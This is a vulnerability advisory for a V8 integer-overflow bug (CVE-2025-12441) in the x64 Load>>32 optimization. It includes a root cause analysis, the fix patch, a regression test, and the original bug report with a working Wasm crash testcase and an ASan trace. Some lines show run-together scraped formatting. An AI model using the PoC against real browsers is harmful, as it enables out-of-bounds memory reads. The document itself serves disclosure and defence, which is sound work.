CVE-2025-12441
Overview
Background
- Instruction selector (`instruction-selector-x64.cc`)
- The x64 backend pass that lowers TurboFan/Turboshaft IR nodes into machine instructions, including folding an address computation into a load’s addressing mode.
- `Load >> 32` ISEL optimization
- An optimization that turns a 64-bit load followed by a
>> 32shift into a 32-bit load of the high word by reusing the same base/index and adding4to the memory displacement. - `displacement` / `ValueFitsIntoImmediate`
- The signed 32-bit immediate offset encoded into an x64 addressing mode, and the helper that checks whether a value is a legal immediate.
- `base::bits::SignedAddOverflow32`
- A checked-arithmetic helper that returns
truewhen a signed 32-bit addition overflows, writing the wrapped result to an out-parameter.
Root Cause Analysis
The optimization computed the high-word load address as static_cast<int32_t>(m->displacement) + 4 and placed it directly into an ImmediateOperand. When m->displacement is near the top of the signed 32-bit range (the regression test uses VULN_OFFSET = 0x7FFFFFFC), adding 4 overflows INT32_MAX and wraps to a large negative value, so the emitted load uses a wildly wrong displacement instead of the intended offset + 4. The Wasm bounds check was performed against the original access, but the folded high-word load addresses a different, unchecked location, so the generated code reads out of bounds. The removed code did the addition with no overflow or range check.
The fix computes the sum with base::bits::SignedAddOverflow32(displacement, 4, &displacement) and additionally verifies ValueFitsIntoImmediate(displacement), bailing out of the optimization (return false) if either the addition overflows or the result is not a valid immediate, so the fold is only applied when displacement + 4 is exactly representable and legal.
displacement + 4 as an unchecked 32-bit signed addition when folding a Load >> 32 into a high-word load, allowing overflow to produce an out-of-range displacement; the fix guards the addition with SignedAddOverflow32 plus a ValueFitsIntoImmediate check and bails out on overflow/invalid immediate.Attack Path
- Craft a high-offset load+shift
Build a Wasm function that does a 64-bit load
kExprI64LoadMemat a very large offset (0x7FFFFFFC) followed bykExprI64Const 32; kExprI64ShrU, matching theLoad >> 32pattern (regression testregress-444049512.js). - Trigger the ISEL fold
During instruction selection the optimization fires and computes the high-word displacement as
0x7FFFFFFC + 4. - Overflow the displacement
The addition overflows
INT32_MAXand wraps to a negative value, so the emitted 32-bit load carries a corrupted displacement not covered by the load’s bounds check. - Out-of-bounds read Executing the generated function performs the load at the wrong address, reading memory outside the intended Wasm memory region. The advisory scopes this as an out-of-bounds read in V8; further escalation is (inferred) and not shown by the patch.
Impact Assessment
Load >> 32 at a near-INT32_MAX offset causes the x64 instruction selector to emit a load with an overflowed displacement, yielding an out-of-bounds read. The advisory classifies this as an out-of-bounds read in V8 and does not state exploited-in-the-wild; the precondition is a large-memory Wasm instance (the test needs >2GB, so it does not trigger on 32-bit systems), and any escalation beyond an OOB read is (inferred).Files Changed
src/compiler/backend/x64/instruction-selector-x64.cctest/mjsunit/regress/wasm/regress-444049512.js
Audit Directions
- Unchecked displacement/offset arithmetic in backendsSearch instruction selectors and addressing-mode folders for
+ constanton adisplacement/offset cast to a fixed-width int without an overflow orValueFitsIntoImmediateguard. - Address-recomputation optimizations bypassing bounds checksAudit optimizations that synthesize a different memory address than the one that was bounds-checked (high/low word loads, split accesses, vectorization), verifying the new address stays within the validated range.
- Signed 32-bit truncation of 64-bit quantitiesReview casts of 64-bit offsets to
int32_tnear the signed limit, where addition or truncation can silently wrap into a valid-looking but wrong immediate.
Patch
From 89ab7b1efb333b85f5669b10659b8b4abf14bb9b Mon Sep 17 00:00:00 2001
From: Darius Mercadier <dmercadier@chromium.org>
Date: Mon, 15 Sep 2025 09:24:40 +0200
Subject: [PATCH] [compiler] Avoid overflow in Load>>32 ISEL optimization
Fixed: 444049512
Change-Id: Ifbe97e3ac9c15b899d49421b9866484b7a2cc1eb
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6939347
Reviewed-by: Jakob Kummerow <jkummerow@chromium.org>
Auto-Submit: Darius Mercadier <dmercadier@chromium.org>
Commit-Queue: Darius Mercadier <dmercadier@chromium.org>
Cr-Commit-Position: refs/heads/main@{#102469}
---
diff --git a/src/compiler/backend/x64/instruction-selector-x64.cc b/src/compiler/backend/x64/instruction-selector-x64.cc
index e95c716..353d032 100644
--- a/src/compiler/backend/x64/instruction-selector-x64.cc
+++ b/src/compiler/backend/x64/instruction-selector-x64.cc
@@ -7,6 +7,7 @@
#include <limits>
#include <optional>
+#include "src/base/bits.h"
#include "src/base/bounds.h"
#include "src/base/iterator.h"
#include "src/base/logging.h"
@@ -2070,9 +2071,14 @@
// in a register and replacing it with an immediate is not allowed. This
// usually only happens in dead code anyway.
if (!inputs[input_count - 1].IsImmediate()) return false;
+ int32_t displacement;
+ if (base::bits::SignedAddOverflow32(
+ static_cast<int32_t>(m->displacement), 4, &displacement) ||
+ !ValueFitsIntoImmediate(displacement)) {
+ return false;
+ }
inputs[input_count - 1] =
- ImmediateOperand(ImmediateOperand::INLINE_INT32,
- static_cast<int32_t>(m->displacement) + 4);
+ ImmediateOperand(ImmediateOperand::INLINE_INT32, displacement);
}
InstructionOperand outputs[] = {g.DefineAsRegister(node)};
InstructionCode code = opcode | AddressingModeField::encode(mode);
diff --git a/test/mjsunit/regress/wasm/regress-444049512.js b/test/mjsunit/regress/wasm/regress-444049512.js
new file mode 100644
index 0000000..17a8286
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-444049512.js
@@ -0,0 +1,31 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+const MEMORY_PAGES = 32769;
+const VULN_OFFSET = 0x7FFFFFFC;
+
+const builder = new WasmModuleBuilder();
+builder.addMemory(MEMORY_PAGES);
+builder.addFunction("vuln_func", kSig_l_v)
+ .addBody([
+ kExprI32Const, 0,
+ kExprI64LoadMem, 3, ...wasmUnsignedLeb(VULN_OFFSET),
+ kExprI64Const, 32,
+ kExprI64ShrU
+ ])
+ .exportFunc();
+
+try {
+ const instance = builder.instantiate();
+ const vuln_func = instance.exports.vuln_func;
+ vuln_func();
+} catch (e) {
+ // This test needs to allocate more than 2GB of memory, which won't work on
+ // 32-bit systems.
+ assertEquals(
+ 'RangeError: WebAssembly.Instance(): Out of memory: Cannot allocate Wasm memory for new instance',
+ e.toString());
+}
Regression Test / PoC
diff --git a/test/mjsunit/regress/wasm/regress-444049512.js b/test/mjsunit/regress/wasm/regress-444049512.js
new file mode 100644
index 0000000..17a8286
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-444049512.js
@@ -0,0 +1,31 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+const MEMORY_PAGES = 32769;
+const VULN_OFFSET = 0x7FFFFFFC;
+
+const builder = new WasmModuleBuilder();
+builder.addMemory(MEMORY_PAGES);
+builder.addFunction("vuln_func", kSig_l_v)
+ .addBody([
+ kExprI32Const, 0,
+ kExprI64LoadMem, 3, ...wasmUnsignedLeb(VULN_OFFSET),
+ kExprI64Const, 32,
+ kExprI64ShrU
+ ])
+ .exportFunc();
+
+try {
+ const instance = builder.instantiate();
+ const vuln_func = instance.exports.vuln_func;
+ vuln_func();
+} catch (e) {
+ // This test needs to allocate more than 2GB of memory, which won't work on
+ // 32-bit systems.
+ assertEquals(
+ 'RangeError: WebAssembly.Instance(): Out of memory: Cannot allocate Wasm memory for new instance',
+ e.toString());
+}
Original Bug Report
V8: Integer overflow in TryEmitLoadForLoadWord64AndShiftRight leading to out-of-bounds read
We are tracking this issue with the public ID BIGSLEEP-444189152. Please use this identifier for reference in any future communication.
Vulnerability Details
The function TryEmitLoadForLoadWord64AndShiftRight [1] in the x64 instruction selector is used to optimize code patterns such as V = Load64(addr); V >>= 32, i.e. loading a 64-bit value and shifting it to the right by 32. The function optimizes this pattern by instead directly loading only the upper 32 bits of the value from memory. The function proceeds roughly as follows:
It checks if the current operation is a right shift by 32 [2]
It checks if the input is a 64-bit load [3]
It checks if the offset of the memory load fits into an int32 constant [4]
It computes the new offset as old_offset + 4 and stores it in an int32 [5]
It replaces the load64+shift with the new load32 instruction
The problem here is that the addition in step (4) can overflow, leading to a negative offset and subsequently an out-of-bounds read as indicated by the ASan report attached below.
[1] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/backend/x64/instruction-selector-x64.cc;l=2028;drc=bfbbaaa7a28577fd940f4e01cb3a4c12e9df7d0f
[2] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/backend/x64/instruction-selector-x64.cc;l=2036;drc=bfbbaaa7a28577fd940f4e01cb3a4c12e9df7d0f
[3] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/backend/x64/instruction-selector-x64.cc;l=2042;drc=bfbbaaa7a28577fd940f4e01cb3a4c12e9df7d0f
[4] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/backend/x64/instruction-selector-x64.cc;l=2044;drc=bfbbaaa7a28577fd940f4e01cb3a4c12e9df7d0f
[5] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/backend/x64/instruction-selector-x64.cc;l=2073;drc=bfbbaaa7a28577fd940f4e01cb3a4c12e9df7d0f
Affected Version(s)
The issue has been successfully reproduced:
- at HEAD (commit bfbbaaa7a28577fd940f4e01cb3a4c12e9df7d0f)
- in stable release 14.0.365.4 (commit fdb12b460f148895f6af2ff0e0d870ff8889f154)
Reproduction
Test Case
The testcase requires the wasm-module-builder.js which can be copied from https://source.chromium.org/chromium/chromium/src/+/main:v8/test/mjsunit/wasm/wasm-module-builder.js
// Flags: --no-liftoff
d8.file.execute("wasm-module-builder.js");
const MEMORY_PAGES = 65535;
const VULN_OFFSET = 0x7FFFFFFC;
const builder = new WasmModuleBuilder();
builder.addMemory(MEMORY_PAGES);
builder.addFunction("vuln_func", kSig_l_v)
.addBody([
kExprI32Const, 0,
kExprI64LoadMem, 3, ...wasmUnsignedLeb(VULN_OFFSET),
kExprI64Const, 32,
kExprI64ShrU
])
.exportFunc();
const instance = builder.instantiate();
const vuln_func = instance.exports.vuln_func;
vuln_func();
Build Instructions
Follow the instructions at https://v8.dev/docs/build. The crash was verified on a debug build:
gm.py x64.debug
Command
./out/x64.debug/d8 --no-liftoff crash.js
ASan Report
AddressSanitizer:DEADLYSIGNAL
=================================================================
==489337==ERROR: AddressSanitizer: SEGV on unknown address 0x7a9f80000000 (pc 0x7fad69ef7981 bp 0x7ffd5766e880 sp 0x7ffd5766e868 T0)
==489337==The signal is caused by a READ memory access.
#0 0x7fad69ef7981 (<unknown module>)
#1 0x7fad73b17245 in Builtins_JSToWasmWrapperAsm setup-isolate-deserialize.cc
#2 0x7fad741bc129 in Builtins_JSToWasmWrapper setup-isolate-deserialize.cc
#3 0x7fad736fc462 in Builtins_InterpreterEntryTrampoline setup-isolate-deserialize.cc
#4 0x7fad736efde6 in Builtins_JSEntryTrampoline setup-isolate-deserialize.cc
#5 0x7fad736efb2a in Builtins_JSEntry setup-isolate-deserialize.cc
#6 0x7fad7519f1e6 in v8::internal::GeneratedCode<unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**>::Call(unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**) src/execution/simulator.h:212:12
#7 0x7fad7519781e in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) src/execution/execution.cc:442:22
#8 0x7fad751986c6 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>) src/execution/execution.cc:542:10
#9 0x7fad7452c7b8 in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) src/api/api.cc:1937:7
#10 0x7fad7452c03d in v8::Script::Run(v8::Local<v8::Context>) src/api/api.cc:1901:10
#11 0x561440e4ca55 in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::String>, v8::Shell::ReportExceptions, v8::Global<v8::Value>*) src/d8/d8.cc:1033:44
#12 0x561440e8327b in v8::SourceGroup::Execute(v8::Isolate*) src/d8/d8.cc:5351:10
#13 0x561440e8f210 in v8::Shell::RunMainIsolate(v8::Isolate*, bool) src/d8/d8.cc:6307:37
#14 0x561440e8eaae in v8::Shell::RunMain(v8::Isolate*, bool) src/d8/d8.cc:6215:18
#15 0x561440e918ef in v8::Shell::Main(int, char**) src/d8/d8.cc:7100:18
#16 0x561440e92341 in main src/d8/d8.cc:7192:43
#17 0x7fad68633ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
==489337==Register values:
rax = 0x0000000000000116 rbx = 0x00000000000000da rcx = 0x00000000000000be rdx = 0x00007aa000000000
rdi = 0x00007bad66594180 rsi = 0x00007a8c00105d65 rbp = 0x00007ffd5766e880 rsp = 0x00007ffd5766e868
r8 = 0x00000f75accbf424 r9 = 0x00007a9d0000049d r10 = 0x00000000ffffffff r11 = 0x0000000000000000
r12 = 0x00007ffd5766ea29 r13 = 0x00007ebd677e1080 r14 = 0x00007a9d00000000 r15 = 0x00007fad69ef7000
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (<unknown module>)
==489337==ABORTING
Reporter Credit
Google Big Sleep
Disclosure Policy
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-12-09. For more information, visit https://goo.gle/bigsleep
- https://goo.gle/bigsleep
- https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/backend/x64/instruction-selector-x64.cc;l=2028;drc=bfbbaaa7a28577fd940f4e01cb3a4c12e9df7d0f
- https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/backend/x64/instruction-selector-x64.cc;l=2036;drc=bfbbaaa7a28577fd940f4e01cb3a4c12e9df7d0f
- https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/backend/x64/instruction-selector-x64.cc;l=2042;drc=bfbbaaa7a28577fd940f4e01cb3a4c12e9df7d0f
- https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/backend/x64/instruction-selector-x64.cc;l=2044;drc=bfbbaaa7a28577fd940f4e01cb3a4c12e9df7d0f
- https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/backend/x64/instruction-selector-x64.cc;l=2073;drc=bfbbaaa7a28577fd940f4e01cb3a4c12e9df7d0f
- https://source.chromium.org/chromium/chromium/src/+/main:v8/test/mjsunit/wasm/wasm-module-builder.js
- https://v8.dev/docs/build